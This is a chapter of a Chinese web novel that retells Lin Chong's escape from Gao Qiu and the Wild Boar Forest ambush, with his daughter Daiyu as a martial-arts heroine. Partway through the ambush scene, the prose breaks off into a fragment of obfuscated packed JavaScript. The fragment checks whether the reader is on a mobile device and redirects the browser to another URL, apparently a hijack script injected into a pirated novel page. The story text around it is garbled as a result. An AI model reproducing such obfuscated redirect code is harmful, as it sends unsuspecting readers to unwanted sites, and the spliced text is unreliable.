二三十个,穿得破破烂烂,手里拿着粪叉、扫帚、擀面杖,乱哄哄地就往官兵堆里挤! 为首的正是张三和李四。 张三一边挤一边喊:“光天化日,官差打人啦!还有没有王法啦!” 李四更绝,直接往地上一躺:“哎哟!官差踩我脚啦!我的脚断啦!” 官兵们被这群泼皮冲得阵型大乱。想动手,可这些人手里拿的都是农具,看着不像暴民;不动手,他们又拼命往人堆里挤,把路堵得死死的。 高俅气得胡子直抖:“反了!反了!把这些刁民都给本尉抓起来!” 可哪有那么容易? 泼皮们滑得像泥鳅,这个喊疼,那个叫冤,闹哄哄一片。官兵们抓了这个跑了那个,乱成一团。 趁这混乱,街角又冲出一匹马! 鲁智深骑在马上,一身僧衣猎猎作响。他冲到墙下,朝上一伸手:“哥哥!上马!” 林冲来不及多想,拉着黛玉从墙头跳下。鲁智深一把将林冲拉上马背,黛玉则翻身上了另一匹空马——不知谁牵来的。 “走!”鲁智深大喝一声,两匹马撒开蹄子就往城外冲! “拦住他们!”高俅怒吼。 可泼皮们还在闹,官兵们被堵着,哪里拦得住? 眼睁睁看着两匹马绝尘而去,消失在街角。 高俅站在街上,脸色铁青,嘴唇都在抖。 他盯着马消失的方向,一字一句,从牙缝里挤出命令: “全城搜捕!死活不论!” 风吹过,街上只剩下泼皮们的吵闹声,和官兵们无措的叫喊。 远处,两匹马已经跑出很远。 马背上,林冲回头看了一眼太尉府的方向,心里沉甸甸的。 他知道,从今天起,他再也不是那个八十万禁军教头林冲了。 他是逃犯。 而这一切,都因为—— 他看向旁边马背上的女儿。 黛玉也看着他,脸上还涂着黄姜水,可眼睛亮得惊人。风吹起她的头发,她忽然笑了: “爹爹,咱们自由了。” 自由? 林冲苦笑。 是啊,自由了。 自由的逃犯。 6. 野猪林前夜被逼上梁山 两匹马跑出东京城,一直跑到天完全黑透,才在城外三十里一处破山神庙停下。 庙很破,屋顶塌了半边,月光从破洞漏进来,在地上洒下一片银霜。神像斑驳脱落,看不清原本的模样,只剩个模糊的轮廓,在黑暗里沉默地立着。 鲁智深先下马,把缰绳拴在庙外的枯树上。林冲跟着下来,脚刚沾地,腿就软了一下,扶着庙门才站稳。 他靠着门框喘气,胸口剧烈起伏,汗把官服都浸透了。 “连累兄弟们了……”他声音嘶哑,带着浓浓的疲惫和愧疚。 “哥哥说这话,洒家可不爱听!”鲁智深瞪眼,大步走进庙里,找了块还算干净的地面坐下,“咱们是结拜的兄妹,有福同享有难同当!再说,这事能怪你吗?分明是高俅那老贼设局害人!” 他说着,转头看黛玉:“倒是妹子,今天那红雾弹是什么玩意儿?辣得洒家现在眼睛还难受!” 黛玉从袖中摸出个小瓷瓶,递过去:“辣椒面提纯的,专治恶人眼疾。” 她说得一本正经,眼里却带着笑。 鲁智深接过瓶子,拔开塞子闻了闻,立刻打了个喷嚏:“阿嚏!好家伙!这要是撒人眼睛里,不得瞎了?” “不至于。”黛玉在他旁边坐下,“就是辣一会儿,洗洗就好了。” 林冲看着女儿,看着她脸上还没擦掉的黄姜水,看着她身上那套半旧的男装,心里五味杂陈。 他走过去,也坐下,沉默了很久,才开口: “玉儿,明天……明天你跟你娘先去沧州舅舅家避避。” 黛玉正在擦枪——刚才在太尉府顺手摸来的,一杆普通的侍卫枪。闻言动作一顿,抬头:“我不走。” “听话。”林冲声音发苦,“事到如今,爹爹是逃不掉了。可你跟你娘不能跟着我亡命天涯。沧州虽远,但舅舅在那儿还有些门路,能护你们周全。” “事因我起。”黛玉放下枪,看着父亲,“若不是我打了高衙内,高俅也不会这么急着设局害您。我若走了,您更说不清。” “那跟你没关系!”林冲急了,“高衙内该打!就算你没打,高俅想害我,总能找到借口!” “所以啊。”黛玉笑了,笑容在月光下清清冷冷的,“走有什么用?走了他就不害您了?走了咱们就能安稳过日子了?因为您姓林,是八十万禁军教头,却不肯像陆谦那样,做他的狗!” 这话说得直白,刺得林冲心头发疼。 鲁智深一拍大腿:“妹子说得对!都不走!洒家护着你们,看哪个撮鸟敢来!” 他这话说得豪气,可三个人心里都清楚——护得住一时,护不住一世。高俅是太尉,权倾朝野,真要铁了心抓人,天下虽大,又能躲到哪里去?最终还是要背靠朝廷! 最明智的只有回去认罪这一条路! 庙里安静下来。 只有风声,从破屋顶灌进来,呜呜地响。 正沉默着,庙外忽然传来马蹄声。 很轻,不止一匹。 鲁智深瞬间抓起禅杖,林冲也握紧了枪。只有黛玉坐着没动,侧耳听了听,轻声说:“两个人。脚步轻,武功不弱。” 话音落,庙门口已经出现了两个人影。 一个青衫书生,摇着折扇,笑容温和——是吴用。 另一个黑矮汉子,穿着朴素的布衣,相貌平平,可那双眼睛,透着股让人信服的沉稳。 吴用先进来,拱手道:“林教头,鲁大师,林姑娘,别来无恙?” 鲁智深瞪眼:“是你这书生!洒家就说你神神秘秘的,果然不是寻常人!” 吴用笑笑,侧身让开:“这位是宋江宋公明,特来相助。” 宋江。 这个名字一出,林冲和鲁智深都愣了一下。 江湖上谁没听过“及时雨”宋江的名头?仗义疏财,广交豪杰,虽是个押司小吏,可名声比许多达官贵人还要响亮。 林冲连忙还礼:“宋公明大名,如雷贯耳。林某落难之人,怎敢劳烦?” “教头言重了,想必您怕牵连家人还想着为朝廷效忠,现在回去不晚。”宋江声音温和,说话不紧不慢,“宋江在郓城听得消息,那高俅要将您发配沧州已买通董超、薛霸两个公差,要在野猪林结果教头性命。” 野猪林。 三个字像三根针,扎进林冲心里。 那是发配沧州的必经之路。古木参天,人迹罕至,正是杀人灭口的好地方。 “何时动身?”黛玉问,声音很平静。 “明日一早。”宋江从怀中取出一个布包,打开,里面是些散碎银两和几张银票,“沿途打点,宋某已安排妥当。只是野猪林那关,需有万全准备。” 鲁智深“呸”了一声:“什么万全准备!洒家明日就跟在队伍后面,那两个撮鸟敢动手,洒家一禅杖一个,送他们去见阎王!” “不可。”吴用摇头,“鲁大师目标太大,若被发现,反而打草惊蛇。” “那怎么办?”鲁智深急了,“难道眼睁睁看着哥哥送死?” 庙里又安静下来。 月光移动,照在每个人脸上。林冲面色沉重,鲁智深急得抓耳挠腮,吴用摇着扇子沉思,宋江目光扫过众人,最后停在黛玉身上。 黛玉一直没说话。 她低着头,手指在枪杆上轻轻敲着,一下,又一下。 忽然抬头:“我身形小,先埋伏在林中。” “你?”鲁智深瞪大眼睛,“你一个女娃……” “大师忘了倒拔垂杨柳?”黛玉挑眉,“况且我轻功好,他们发现不了。” 她说得轻描淡写,可话里的自信,谁都听得出来。 林冲看着女儿。 月光下,她的侧脸线条清晰,下巴微微扬起,眼神坚定得像磐石。这个姿势,这个神情,忽然让他想起七年前—— 那个雨夜,破庙里,高烧不退的女童,在昏迷中喃喃“要还泪”的样子。 那时候的她,脆弱得像张纸,仿佛一阵风就能吹走。 可现在…… 林冲恍如隔世。 “不行。”他最终还是摇头,“太危险了。野猪林地势复杂,万一……” “没有万一。”黛玉打断他,“爹爹,信我一次。” 她看着父亲,眼睛亮得惊人:“您教过我林家枪,教过我江湖规矩,教过我做人要堂堂正正。可您没教过我,遇到事要躲。” 林冲喉头一哽。 是啊,他没教过。 因为他自己,就是那种遇到事不躲的人。 “哥哥,”鲁智深忽然开口,声音难得正经,“让妹子去吧。洒家……洒家信她。” 林冲转头看他。 鲁智深挠挠光头,有点不好意思:“说实话,今天要不是妹子那红雾弹,咱们未必跑得出来。这丫头……鬼主意多,功夫也好。让她去,比洒家去管用。” 吴用也点头:“林姑娘机敏过人,确是最佳人选。宋某在外接应,鲁大师可带人在林中策应。如此里应外合,方是万全之策。” 所有人都看着林冲。 月光从破屋顶漏下来,照在他脸上。那张原本刚毅的脸,此刻写满了挣扎。 他不想让女儿涉险。 可他也知道,这是眼下最好的办法。 良久,他闭了闭眼。 再睁开时,眼里只剩下决绝。 “好。” 吴用铺开一张简陋的地图——是他凭记忆画的野猪林地形图。哪里树木茂密适合藏身,哪里地势开阔便于动手,哪里有小路可以撤退,一一指出来。 宋江补充沿途的安排:哪个驿站有自己人接应,哪个关卡已经打点好,遇到盘查该怎么应对。 鲁智深负责带人在外围策应。张三李四也被叫来了,两个泼皮听说要干这么大一票,又兴奋又紧张,搓着手问:“师父,咱们……咱们真跟官差干啊?” “怕了?”鲁智深瞪眼。 “不怕!”张三挺起胸膛,“就是……就是没干过这么大买卖。” 李四捅他一下:“说什么呢!这是替天行道!林教头是好人,咱们帮好人,天经地义!” 黛玉没怎么说话。 她一直在听,在看,在记。 地图的每一个细节,计划的每一个步骤,她都刻在脑子里。 天快亮时,商议得差不多了。 吴用收起地图,看向黛玉:“林姑娘,此去凶险,务必小心。若事不可为,以自保为先。” “我知道。”黛玉点头。 她站起身,走到庙门口。 东方已经泛起鱼肚白,天快亮了。 风很大,吹起她的头发和衣摆。她站在那里,背影纤细,却挺拔得像杆枪。 林冲走到她身边,想说什么,张了张嘴,却只说了句:“……小心。” “嗯。”黛玉应了一声,没回头。 她看着天边那抹越来越亮的白光,心里那潭冰水,渐渐平静下来。 没有害怕,没有犹豫。 只有一种很清醒的、近乎冷酷的决绝。 这一关,她必须过。 为了父亲,为了母亲,也为了……她自己。 她要活下去。 天亮了。 野猪林的早晨,和其他地方的早晨没什么不同。太阳从东边山头爬上来,透过密密层层的树叶,在地上投下斑驳的光影。鸟在叫,虫在鸣,露水从叶尖滴落,发出极轻的“啪嗒”声。 如果忽略这里死过多少人的话。 黛玉蹲在一棵老槐树的树冠里,浑身抹了厚厚一层泥巴——湿泥混着枯叶,糊在衣服上、脸上、手上。她现在看起来不像人,更像一坨长在树上的奇怪菌类。 她一动不动,连呼吸都放得很轻。 眼睛透过枝叶的缝隙,盯着林间那条蜿蜒的小路。 等了大约一个时辰。 远处传来脚步声,还有铁链拖在地上的声音,“哗啦……哗啦……”,慢吞吞的,一下一下,敲在寂静的林子里。 来了。 黛玉屏住呼吸。 先看到的是脚。 一双穿着破草鞋的脚,脚踝上戴着铁镣,每走一步,铁链就哗啦响一声。脚上全是血泡,有些磨破了,渗出血,在灰土路上留下淡淡的红印子。 往上看,是囚服——粗糙的麻布,脏得看不出颜色。再往上,是枷锁,厚重的木枷卡在脖子上,压得人直不起腰。 最后是脸。 林冲的脸。 三天不见,他瘦了一大圈,脸颊凹陷下去,眼下一片青黑。嘴唇干裂起皮,胡子拉碴的,头发也乱糟糟的,沾着草屑。 但他背脊还是挺直的。 哪怕戴着枷锁,哪怕脚在流血,哪怕每一步都走得艰难——背脊还是挺直的。 黛玉看着,心里那潭冰水,忽然翻涌起来。 她指尖扣住三枚石子,扣得很紧,指节都泛白了。 林冲身后,跟着两个公差。 一高一矮,一胖一瘦。高的那个叫董超,瘦长脸,三角眼,手里拎着根水火棍。矮的那个叫薛霸,圆脸,小眼睛,腰间挂着串钥匙,走路一晃一晃的。 两人都走得漫不经心,有一搭没一搭地说着话。 “这鬼地方,阴森森的。”董超抬头看看天,“听说以前死过不少人。” “死人怕什么?”薛霸嗤笑,“咱们手里的人命还少吗?” “那不一样。”董超压低声音,“这回可是林冲……八十万禁军教头。” “教头怎么了?”薛霸不以为然,“现在是囚犯。太尉说了,事成之后,这个数——” 他伸出五根手指。 董超眼睛一亮:“五百两?” “再加个零。”薛霸得意地笑。 两人对视一眼,都看到对方眼里的贪婪。 说话间,已经走到林深处。 这里树木格外茂密,枝叶遮天蔽日,光线暗得像傍晚。风过时,树叶哗啦啦响,像无数人在窃窃私语。 董超忽然停下脚步:“林教头,歇歇罢。” 林冲也停下来,靠着棵树喘气。这一路走得实在太累,枷锁压得他脖子生疼,脚上的血泡每走一步都像踩在刀尖上。 董超解下腰间的葫芦,递过去:“喝口水。” 林冲看了他一眼。 董超脸上堆着笑,很真诚的样子:“教头放心,这水干净。您这一路辛苦,喝点水,缓缓劲儿。” 林冲犹豫了一下。 他确实渴了。从早上出发到现在,一滴水没喝过。 最终,他还是低下头,凑近葫芦口—— 就在这一刹那! 薛霸悄无声息地绕到他身后,举起水火棍,对准他的后脑勺! 脸上还带着笑,眼里却闪着凶光! 树冠里,黛玉的手扬了起来。 三枚石子蓄势待发! 但她没扔出去。 因为几乎同时,旁边的树影里,一道黑影暴起! 一柄六十二斤的水磨禅杖,带着呼啸的风声,横扫而来!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156270|196552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “铛——!!!” 金属碰撞的巨响,震得整片林子都在颤! 薛霸手里的水火棍脱手飞出,“咻”地划过一道弧线,“咔嚓”插进远处的树干里,棍尾还在嗡嗡震颤! “洒家等你们多时了!” 鲁智深从草丛里跳出来,光头在树影里反着光,一双铜铃大眼瞪得滚圆,怒火几乎要喷出来! 董超和薛霸吓傻了。 两人腿一软,“扑通”跪倒在地。薛霸反应快,磕头如捣蒜:“好汉饶命!好汉饶命!我们……我们也是奉命行事!” “奉命?”鲁智深禅杖一指,“奉谁的命?高俅那老贼的命?” 董超脸色惨白,嘴唇哆嗦着,说不出话。 林冲这时才缓过神。他看着鲁智深,又看看地上两个抖如筛糠的公差,急道:“贤弟不可杀人!” “为何不可?”鲁智深瞪眼,“这等害人性命的狗贼,留着也是祸害!” “杀了他们,罪名更重。”林冲苦笑,“放他们走罢。” “放?”鲁智深急了,“哥哥!他们刚才要杀你!” “我知道。”林冲闭上眼睛,“可杀了他们,高俅更有借口赶尽杀绝。放他们回去,或许……或许还有一线生机。” 他说这话,自己都不信。 可这就是他的性子。哪怕到了这一步,还想着“规矩”,想着“法度”。 鲁智深气得直跺脚,禅杖举起来又放下,放下又举起来,最后还是咬咬牙:“好!听哥哥的!你们俩,滚!” 董超薛霸如蒙大赦,爬起来就要跑—— 忽然,林间响起笛声。 清越,婉转,飘飘悠悠的,像春风吹过柳梢。 调子很熟,是《牡丹亭》里的游园一折。可吹笛的人显然不太熟练,有几个音吹得有些飘。 所有人都愣住了。 连鲁智深都忘了发火,茫然地抬头,找笛声的来源。 只见旁边一棵大树的树梢上,不知什么时候坐了个……泥人? 浑身糊满泥巴,看不清脸,只能看出个大概轮廓。纤细,瘦小,手里横着一支竹笛,正吹得认真。 泥人吹完最后一个音,放下笛子,从树梢飘然而下。 落地时,泥块簌簌往下掉。 她拍了拍身上的泥,又抹了把脸——露出下面那张蜡黄的脸,和那双清亮亮的眼睛。 “林……林姑娘?”董超结结巴巴,以为自己眼花了。 黛玉没理他。 她把笛子横到唇边,深吸一口气—— 这次吹出来的,不再是婉转的《牡丹亭》。 是杀伐之音! 尖锐,刺耳,像刀刮铁板,像箭矢破空!音波肉眼可见地荡开,所过之处,落叶纷纷飞起,在空中打着旋,像被无形的刀切割过! “啊!” 董超捂着脸惨叫。 他脸上多了三道血痕,不深,但火辣辣地疼。 薛霸更惨,脖子上、手上,凡是没有衣服遮挡的地方,都被划出细密的血口子。 两人吓得魂飞魄散,连滚带爬地往后缩。 黛玉停下笛声。 她看着他们,眼神冷得像腊月的冰:“滚。” 声音不大,但带着一股说不出的威慑。 “回去告诉高俅,”她一字一句地说,“林冲之命,我保了。他要再敢动歪心思——” 笛子在手里转了个圈。 “下次,就不是划破脸这么简单了。” 董超薛霸哪还敢多待?两人屁滚尿流地爬起来,连水火棍都不要了,跌跌撞撞就往林外跑,转眼就没了影。 林子静下来。 鲁智深盯着黛玉手里的笛子,看了又看,忽然哈哈大笑:“妹子这手音波功,比洒家禅杖还唬人!哪儿学的?” “自己琢磨的。”黛玉把笛子收起来,“竹笛挖几个孔,吹的时候用内力催动气流,就能让声音带上劲道。” 她说得轻巧,可鲁智深知道,这功夫没十年八年的内力打底,根本使不出来。 这丫头……到底藏着多少本事? 黛玉没再说话。 她走到林冲面前,跪下。 “女儿自作主张,请爹爹责罚。” 林冲看着跪在地上的女儿。 她脸上还糊着泥,头发乱糟糟的,衣服脏得看不出原色。可那双眼睛,清澈,坚定,没有半点畏惧。 他伸手,想扶她起来。 手伸到一半,却抖得厉害。 他忽然想起七年前,那个雨夜。破庙里,高烧的女童抓着他的手指,喃喃说“要还泪”。那时候他就发誓,要护这孩子一世周全。 可现在…… “是爹没用,”他声音哽咽,扶起女儿,手还在抖,“护不住你……” “谁要爹护了?” 黛玉眼圈红了。 她仰起头,想憋回去,可这次没憋住。 一滴泪珠滚下来,顺着脸颊滑落,在脏兮兮的脸上冲出一道白痕。 又一滴。她索性不憋了,任由眼泪往下掉,声音却带着笑:“从今往后,玉儿护着爹爹。” 她说得认真,像在发誓。 林冲看着女儿泪流满面的样子,心里那点愧疚、自责、无力,忽然就散了。 散了,化成一股滚烫的热流,从心口涌上来,涌到眼眶。 他伸手,粗糙的手掌抹去女儿脸上的泪,抹了一手的泥。动作很笨拙,但很轻。 “好,”他说,“玉儿护着爹爹。” 远处山道上,两匹马并排而立。 宋江和吴用骑在马上,看着林子里发生的一切。 吴用摇着扇子,嘴角勾起一抹意味深长的笑:“宋兄,看见了吗?” “看见了。”宋江点头,目光还停在远处那对父女身上,“这林家姑娘……不简单。” “何止不简单。”吴用合上扇子,轻轻敲着掌心,“倒拔垂杨柳,音波伤人,智破太尉局……这般手段,这般心性,便是男子也少有。” 他顿了顿,看向宋江:“你说,她要是上了梁山……” 宋江没立刻回答。 他看着林子。黛玉正扶着林冲往这边走,鲁智深扛着禅杖跟在后面,一边走一边抱怨林子里的蚊子多。 三人渐行渐近。 阳光透过树叶的缝隙洒下来,在他们身上投下斑驳的光影。 “这林家姑娘,”宋江终于开口,声音很轻,像在自言自语,“怕是要在梁山搅出另一番风云了。”